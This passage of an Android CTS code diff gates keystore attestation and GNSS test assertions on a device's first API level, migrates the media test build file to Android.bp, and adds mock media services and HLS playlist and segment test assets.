@@ -16,6 +16,7 @@
 
 package android.keystore.cts;
 
+import android.os.SystemProperties;
 import android.platform.test.annotations.RestrictedBuildTest;
 
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_SOFTWARE;
@@ -776,8 +777,11 @@
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
-        assertTrue(rootOfTrust.isDeviceLocked());
-        assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= 29) {
+            // Devices launched in Q and after should run CTS in LOCKED state.
+            assertTrue(rootOfTrust.isDeviceLocked());
+            assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
+        }
     }
 
     private void checkRsaKeyDetails(Attestation attestation, int keySize, int purposes,
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 7986af2..26aedf8 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -24,6 +24,7 @@
 import android.location.GnssStatus;
 import android.location.LocationManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.util.Log;
 
 import java.util.Arrays;
@@ -55,7 +56,6 @@
 
     private static final int YEAR_2016 = 2016;
     private static final int YEAR_2017 = 2017;
-    private static final int YEAR_2018 = 2018;
 
     private enum GnssBand {
         GNSS_L1,
@@ -816,10 +816,10 @@
     public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
         TestLocationManager testLocationManager,
         boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz  check only for year 2018+
-        if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+        // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
-                hasCarrierFrequency);
+                    hasCarrierFrequency);
         }
 
         if (hasCarrierFrequency) {
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
new file mode 100644
index 0000000..9989b6b
--- /dev/null
+++ b/tests/tests/media/Android.bp
@@ -0,0 +1,79 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "ctsmediautil",
+    srcs: [
+        "src/android/media/cts/CodecImage.java",
+        "src/android/media/cts/YUVImage.java",
+        "src/android/media/cts/CodecUtils.java",
+    ],
+    sdk_version: "current",
+}
+
+android_test {
+    name: "CtsMediaTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctsmediautil",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "ctstestserver",
+        "junit",
+        "ndkaudio",
+        "testng",
+        "truth-prebuilt",
+        "mockito-target-minus-junit4",
+        "androidx.heifwriter_heifwriter",
+        "androidx.media_media",
+    ],
+    jni_libs: [
+        "libaudio_jni",
+        "libc++",
+        "libctscodecutils_jni",
+        "libctsimagereader_jni",
+        "libctsmediadrm_jni",
+        "libctsmediacodec_jni",
+        "libnativehelper_compat_libc++",
+        "libndkaudioLib",
+    ],
+    // do not compress VP9 video files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+    ],
+    srcs: ["src/**/*.java"],
+    // This test uses private APIs
+    //sdk_version: "current",
+    platform_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    host_required: ["cts-dynamic-config"],
+}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
deleted file mode 100644
index ed41984..0000000
--- a/tests/tests/media/Android.mk
+++ /dev/null
@@ -1,96 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := \
-  src/android/media/cts/CodecImage.java \
-  src/android/media/cts/YUVImage.java \
-  src/android/media/cts/CodecUtils.java
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctsmediautil
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctsmediautil \
-    ctstestrunner-axt hamcrest-library \
-    ctstestserver \
-    junit \
-    ndkaudio \
-    testng \
-    truth-prebuilt \
-    mockito-target-minus-junit4 \
-    androidx.heifwriter_heifwriter \
-    androidx.media_media \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-    libaudio_jni \
-    libc++ \
-    libctscodecutils_jni \
-    libctsimagereader_jni \
-    libctsmediadrm_jni \
-    libctsmediacodec_jni \
-    libnativehelper_compat_libc++ \
-    libndkaudioLib
-
-# do not compress VP9 video files
-LOCAL_AAPT_FLAGS := -0 .vp9
-LOCAL_AAPT_FLAGS += -0 .ts
-LOCAL_AAPT_FLAGS += -0 .heic
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsMediaTestCases
-
-# This test uses private APIs
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JAVA_LIBRARIES += \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-    android.test.runner.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 49feb9e..4b3e7a0 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -100,6 +100,20 @@
                 <action android:name="android.media.browse.MediaBrowserService" />
             </intent-filter>
         </service>
+        <!-- Keep the test services synced together with the TestUtils.java -->
+        <service android:name="android.media.cts.MockMediaSessionService2">
+            <intent-filter>
+                <action android:name="android.media.MediaSessionService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestSession" />
+        </service>
+        <!-- Keep the test services synced together with the MockMediaLibraryService -->
+        <service android:name="android.media.cts.MockMediaLibraryService2">
+            <intent-filter>
+                <action android:name="android.media.MediaLibraryService2" />
+            </intent-filter>
+            <meta-data android:name="android.media.session" android:value="TestLibrary" />
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/media/assets/audio_only/00.aac b/tests/tests/media/assets/audio_only/00.aac
new file mode 100644
index 0000000..1c620bf
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/00.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/00.key b/tests/tests/media/assets/audio_only/00.key
new file mode 100644
index 0000000..eb61918
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/00.key
@@ -0,0 +1 @@
+ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/audio_only/01.aac b/tests/tests/media/assets/audio_only/01.aac
new file mode 100644
index 0000000..dc23c48
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/01.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/02.aac b/tests/tests/media/assets/audio_only/02.aac
new file mode 100644
index 0000000..1dd827d
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/02.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/03.aac b/tests/tests/media/assets/audio_only/03.aac
new file mode 100644
index 0000000..f6fd0c0
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/03.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/04.aac b/tests/tests/media/assets/audio_only/04.aac
new file mode 100644
index 0000000..60d0aef
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/04.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/05.aac b/tests/tests/media/assets/audio_only/05.aac
new file mode 100644
index 0000000..2875292
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/05.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/06.aac b/tests/tests/media/assets/audio_only/06.aac
new file mode 100644
index 0000000..dd0413f
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/06.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/07.aac b/tests/tests/media/assets/audio_only/07.aac
new file mode 100644
index 0000000..5d63cef
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/07.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/08.aac b/tests/tests/media/assets/audio_only/08.aac
new file mode 100644
index 0000000..402cd72
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/08.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/09.aac b/tests/tests/media/assets/audio_only/09.aac
new file mode 100644
index 0000000..587b910
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/09.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/10.aac b/tests/tests/media/assets/audio_only/10.aac
new file mode 100644
index 0000000..db8c5b8
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/10.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/11.aac b/tests/tests/media/assets/audio_only/11.aac
new file mode 100644
index 0000000..707dd38
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/11.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/12.aac b/tests/tests/media/assets/audio_only/12.aac
new file mode 100644
index 0000000..5ebe080
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/12.aac
Binary files differ
diff --git a/tests/tests/media/assets/audio_only/index.m3u8 b/tests/tests/media/assets/audio_only/index.m3u8
new file mode 100644
index 0000000..fedfafa
--- /dev/null
+++ b/tests/tests/media/assets/audio_only/index.m3u8
@@ -0,0 +1,31 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-VERSION:5
+#EXT-X-TARGETDURATION:10
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x76fb8e8c870c8f95234d6c40aac52902
+#EXTINF:9.984,
+00.aac
+#EXTINF:9.984,
+01.aac
+#EXTINF:9.984,
+02.aac
+#EXTINF:9.984,
+03.aac
+#EXTINF:9.984,
+04.aac
+#EXTINF:9.984,
+05.aac
+#EXTINF:9.984,
+06.aac
+#EXTINF:9.984,
+07.aac
+#EXTINF:9.984,
+08.aac
+#EXTINF:9.984,
+09.aac
+#EXTINF:9.984,
+10.aac
+#EXTINF:9.984,
+11.aac
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/165340/00.ts b/tests/tests/media/assets/hls_variant/165340/00.ts
new file mode 100644
index 0000000..8a95fc5
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/01.ts b/tests/tests/media/assets/hls_variant/165340/01.ts
new file mode 100644
index 0000000..7983a01
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/02.ts b/tests/tests/media/assets/hls_variant/165340/02.ts
new file mode 100644
index 0000000..2582937
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/03.ts b/tests/tests/media/assets/hls_variant/165340/03.ts
new file mode 100644
index 0000000..4e4711e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/04.ts b/tests/tests/media/assets/hls_variant/165340/04.ts
new file mode 100644
index 0000000..e210aac
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/05.ts b/tests/tests/media/assets/hls_variant/165340/05.ts
new file mode 100644
index 0000000..5d445bf
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/06.ts b/tests/tests/media/assets/hls_variant/165340/06.ts
new file mode 100644
index 0000000..e83d2a3
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/07.ts b/tests/tests/media/assets/hls_variant/165340/07.ts
new file mode 100644
index 0000000..37322c0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/08.ts b/tests/tests/media/assets/hls_variant/165340/08.ts
new file mode 100644
index 0000000..25f9f00
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/09.ts b/tests/tests/media/assets/hls_variant/165340/09.ts
new file mode 100644
index 0000000..2debe48
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/10.ts b/tests/tests/media/assets/hls_variant/165340/10.ts
new file mode 100644
index 0000000..3eed736
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/11.ts b/tests/tests/media/assets/hls_variant/165340/11.ts
new file mode 100644
index 0000000..7ae79e9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/12.ts b/tests/tests/media/assets/hls_variant/165340/12.ts
new file mode 100644
index 0000000..4153626
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/13.ts b/tests/tests/media/assets/hls_variant/165340/13.ts
new file mode 100644
index 0000000..027adf4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/14.ts b/tests/tests/media/assets/hls_variant/165340/14.ts
new file mode 100644
index 0000000..ea7d0be
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/15.ts b/tests/tests/media/assets/hls_variant/165340/15.ts
new file mode 100644
index 0000000..48c92c9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/16.ts b/tests/tests/media/assets/hls_variant/165340/16.ts
new file mode 100644
index 0000000..19f0ebd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/17.ts b/tests/tests/media/assets/hls_variant/165340/17.ts
new file mode 100644
index 0000000..7d4897d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/18.ts b/tests/tests/media/assets/hls_variant/165340/18.ts
new file mode 100644
index 0000000..47431d0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/19.ts b/tests/tests/media/assets/hls_variant/165340/19.ts
new file mode 100644
index 0000000..9e98a4f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/20.ts b/tests/tests/media/assets/hls_variant/165340/20.ts
new file mode 100644
index 0000000..e674296
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/21.ts b/tests/tests/media/assets/hls_variant/165340/21.ts
new file mode 100644
index 0000000..2affe9d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/22.ts b/tests/tests/media/assets/hls_variant/165340/22.ts
new file mode 100644
index 0000000..0634296
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/23.ts b/tests/tests/media/assets/hls_variant/165340/23.ts
new file mode 100644
index 0000000..faf9ca8
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/24.ts b/tests/tests/media/assets/hls_variant/165340/24.ts
new file mode 100644
index 0000000..3b3f4d7
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/165340/index.m3u8 b/tests/tests/media/assets/hls_variant/165340/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/165340/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/1676816/00.ts b/tests/tests/media/assets/hls_variant/1676816/00.ts
new file mode 100644
index 0000000..aba6f79
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/01.ts b/tests/tests/media/assets/hls_variant/1676816/01.ts
new file mode 100644
index 0000000..18c382b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/02.ts b/tests/tests/media/assets/hls_variant/1676816/02.ts
new file mode 100644
index 0000000..8b45649
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/03.ts b/tests/tests/media/assets/hls_variant/1676816/03.ts
new file mode 100644
index 0000000..5a1dee6
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/04.ts b/tests/tests/media/assets/hls_variant/1676816/04.ts
new file mode 100644
index 0000000..69c4dfa
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/05.ts b/tests/tests/media/assets/hls_variant/1676816/05.ts
new file mode 100644
index 0000000..bd1e938
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/06.ts b/tests/tests/media/assets/hls_variant/1676816/06.ts
new file mode 100644
index 0000000..dfdfe31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/07.ts b/tests/tests/media/assets/hls_variant/1676816/07.ts
new file mode 100644
index 0000000..be22e90
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/08.ts b/tests/tests/media/assets/hls_variant/1676816/08.ts
new file mode 100644
index 0000000..a892318
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/09.ts b/tests/tests/media/assets/hls_variant/1676816/09.ts
new file mode 100644
index 0000000..9a1e3c9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/10.ts b/tests/tests/media/assets/hls_variant/1676816/10.ts
new file mode 100644
index 0000000..528e424
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/11.ts b/tests/tests/media/assets/hls_variant/1676816/11.ts
new file mode 100644
index 0000000..2ad52f9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/12.ts b/tests/tests/media/assets/hls_variant/1676816/12.ts
new file mode 100644
index 0000000..5275b47
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/13.ts b/tests/tests/media/assets/hls_variant/1676816/13.ts
new file mode 100644
index 0000000..5894d31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/14.ts b/tests/tests/media/assets/hls_variant/1676816/14.ts
new file mode 100644
index 0000000..44f5200
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/15.ts b/tests/tests/media/assets/hls_variant/1676816/15.ts
new file mode 100644
index 0000000..e548fb1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/16.ts b/tests/tests/media/assets/hls_variant/1676816/16.ts
new file mode 100644
index 0000000..9ad2c6a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/17.ts b/tests/tests/media/assets/hls_variant/1676816/17.ts
new file mode 100644
index 0000000..1cd735f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/18.ts b/tests/tests/media/assets/hls_variant/1676816/18.ts
new file mode 100644
index 0000000..a593dba
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/19.ts b/tests/tests/media/assets/hls_variant/1676816/19.ts
new file mode 100644
index 0000000..3fb49cb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/20.ts b/tests/tests/media/assets/hls_variant/1676816/20.ts
new file mode 100644
index 0000000..7a586e7
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/21.ts b/tests/tests/media/assets/hls_variant/1676816/21.ts
new file mode 100644
index 0000000..bd70554
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/22.ts b/tests/tests/media/assets/hls_variant/1676816/22.ts
new file mode 100644
index 0000000..12ea80d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/23.ts b/tests/tests/media/assets/hls_variant/1676816/23.ts
new file mode 100644
index 0000000..c1b5be9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/24.ts b/tests/tests/media/assets/hls_variant/1676816/24.ts
new file mode 100644
index 0000000..76bd0b5
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/index.m3u8 b/tests/tests/media/assets/hls_variant/1676816/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/1676816/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/344388/00.ts b/tests/tests/media/assets/hls_variant/344388/00.ts
new file mode 100644
index 0000000..e26ad20
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/01.ts b/tests/tests/media/assets/hls_variant/344388/01.ts
new file mode 100644
index 0000000..fa5395d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/02.ts b/tests/tests/media/assets/hls_variant/344388/02.ts
new file mode 100644
index 0000000..a924b05
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/03.ts b/tests/tests/media/assets/hls_variant/344388/03.ts
new file mode 100644
index 0000000..4136491
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/04.ts b/tests/tests/media/assets/hls_variant/344388/04.ts
new file mode 100644
index 0000000..cf03032
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/05.ts b/tests/tests/media/assets/hls_variant/344388/05.ts
new file mode 100644
index 0000000..25d127b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/06.ts b/tests/tests/media/assets/hls_variant/344388/06.ts
new file mode 100644
index 0000000..f132be4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/07.ts b/tests/tests/media/assets/hls_variant/344388/07.ts
new file mode 100644
index 0000000..b1e7f36
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/08.ts b/tests/tests/media/assets/hls_variant/344388/08.ts
new file mode 100644
index 0000000..bbeb4fd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/09.ts b/tests/tests/media/assets/hls_variant/344388/09.ts
new file mode 100644
index 0000000..f444ab9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/09.ts
Binary files differ
